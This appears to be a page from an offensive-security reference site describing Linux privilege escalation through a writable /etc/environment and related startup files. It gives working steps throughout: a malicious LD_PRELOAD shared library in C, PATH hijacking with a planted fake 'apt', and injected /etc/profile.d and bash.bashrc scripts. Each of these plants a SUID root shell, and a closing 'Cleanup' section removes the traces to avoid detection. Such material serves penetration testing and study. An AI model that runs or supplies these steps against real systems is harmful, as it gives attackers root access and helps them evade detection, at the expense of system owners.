# Writable /etc/environment for Privilege Escalation

> Exploit writable /etc/environment to inject malicious env vars, hijacking privileged processes or sudo sessions to escalate privileges on Linux systems.

- **URL:** https://hackindex.io/platforms/linux/privilege-escalation/writable-etc-environment
- **Path:** Linux > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation.md)
- **Published:** 2026-03-14
- **Updated:** 2026-07-14

`/etc/environment` is a system-wide environment file sourced at PAM login: it applies to every user including root, and to every login method including SSH, su, and GUI login. If writable, injecting `LD_PRELOAD`, `PATH`, or `PYTHONPATH` here causes your payload to load the next time root opens a session. Combined with a service restart or admin login, this is a reliable escalation path.

Injection vectors through writable environment files:

- `LD_PRELOAD` in `/etc/environment` to load a malicious shared library
- `PATH` manipulation to hijack commands root calls without absolute paths
- `PYTHONPATH` injection to hijack Python imports in root scripts
- Script injection in `/etc/profile.d/` for interactive login shells

## Prerequisites Check

Check write access to environment files:

```bash
ls -la /etc/environment 2>/dev/null
ls -la /etc/profile 2>/dev/null
ls -la /etc/profile.d/ 2>/dev/null
find /etc/profile.d/ -writable 2>/dev/null

test -w /etc/environment && echo "WRITABLE: /etc/environment"
test -w /etc/profile && echo "WRITABLE: /etc/profile"
```

Check the current content to understand what is already set:

```bash
cat /etc/environment
cat /etc/profile
ls -la /etc/profile.d/
```

## Writable /etc/environment Privilege Escalation via LD_PRELOAD

`/etc/environment` is read by PAM and applied before user shells load. Adding `LD_PRELOAD` here causes the specified library to be loaded by every dynamically linked program that starts in a new session: including any sudo calls, service restarts, or root login sessions.

**Step 1: Compile the malicious shared library:**

**/tmp/preload.c**

```c
#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    unsetenv("LD_PRELOAD");
    setuid(0);
    setgid(0);
    system("cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash");
}
```

```bash
gcc -shared -fPIC -nostartfiles -o /tmp/preload.so /tmp/preload.c
```

**Step 2: Inject into /etc/environment:**

```bash
echo 'LD_PRELOAD=/tmp/preload.so' >> /etc/environment
```

**Step 3: Wait for root to open a new session or for a privileged service to restart.**

Check when services restart or if an admin login is expected:

```bash
# Check scheduled restarts
systemctl list-timers | grep -i restart
grep -r "restart\|reload" /etc/cron* 2>/dev/null
```

After root opens a new session or any non-SUID binary starts in that session:

```bash
/tmp/.rootbash -p
```

**Important:** LD_PRELOAD in `/etc/environment` is typically honoured by PAM-launched processes but ignored by SUID binaries and services launched by systemd (which resets the environment). It is most effective when root opens an interactive login session.

## Technique 2: PATH Injection via /etc/environment

Prepend a writable directory to PATH, then plant a malicious binary there with the same name as something root calls:

```bash
# Read the current PATH
cat /etc/environment | grep PATH

# Prepend /tmp to PATH
sed -i 's|PATH="|PATH="/tmp:|' /etc/environment
# Or if PATH is not quoted
sed -i 's|PATH=|PATH=/tmp:|' /etc/environment
# Or append a new line
echo 'PATH="/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"' >> /etc/environment
```

Plant a malicious binary in `/tmp`:

```bash
echo '#!/bin/sh' > /tmp/apt
echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /tmp/apt
chmod +x /tmp/apt
```

For the full PATH hijacking workflow see [https://hackindex.io/platforms/linux/privilege-escalation/writable-path-hijacking](https://hackindex.io/platforms/linux/privilege-escalation/writable-path-hijacking).

## Technique 3: /etc/profile.d/ Script Injection

Scripts in `/etc/profile.d/` are sourced by bash and sh for every interactive login. Writing a new script there is equivalent to writing to `/etc/profile` and affects all users.

```bash
# Check if writable
ls -la /etc/profile.d/
find /etc/profile.d/ -writable 2>/dev/null

# Inject a new script
cat > /etc/profile.d/privesc.sh << 'EOF'
#!/bin/sh
cp /bin/bash /tmp/.rootbash
chmod u+s /tmp/.rootbash
EOF
chmod +x /etc/profile.d/privesc.sh
```

Fires the next time any user opens an interactive login shell: including root via SSH or `su -`.

## Technique 4: /etc/bash.bashrc Injection

Sourced by interactive non-login bash shells. Less reliable than `/etc/profile.d/` but worth checking:

```bash
ls -la /etc/bash.bashrc 2>/dev/null
test -w /etc/bash.bashrc && echo "WRITABLE"

echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /etc/bash.bashrc
```

## Cleanup

After escalating, remove your injected lines to avoid detection and system instability:

```bash
# Remove LD_PRELOAD from /etc/environment
sed -i '/LD_PRELOAD/d' /etc/environment

# Remove injected PATH entry
sed -i 's|/tmp:||' /etc/environment

# Remove injected script
rm /etc/profile.d/privesc.sh

# Remove SUID shell
rm /tmp/.rootbash
```

## References

- [pam_env(8) Manual](https://man7.org/linux/man-pages/man8/pam_env.8.html) - etc/environment sourcing behavior and PAM environment module documentation.
- [Bash Startup Files](https://www.gnu.org/software/bash/manual/bash.html#Bash-Startup-Files) - GNU Manual Profile, bashrc, and environment file sourcing order for login and interactive shells.
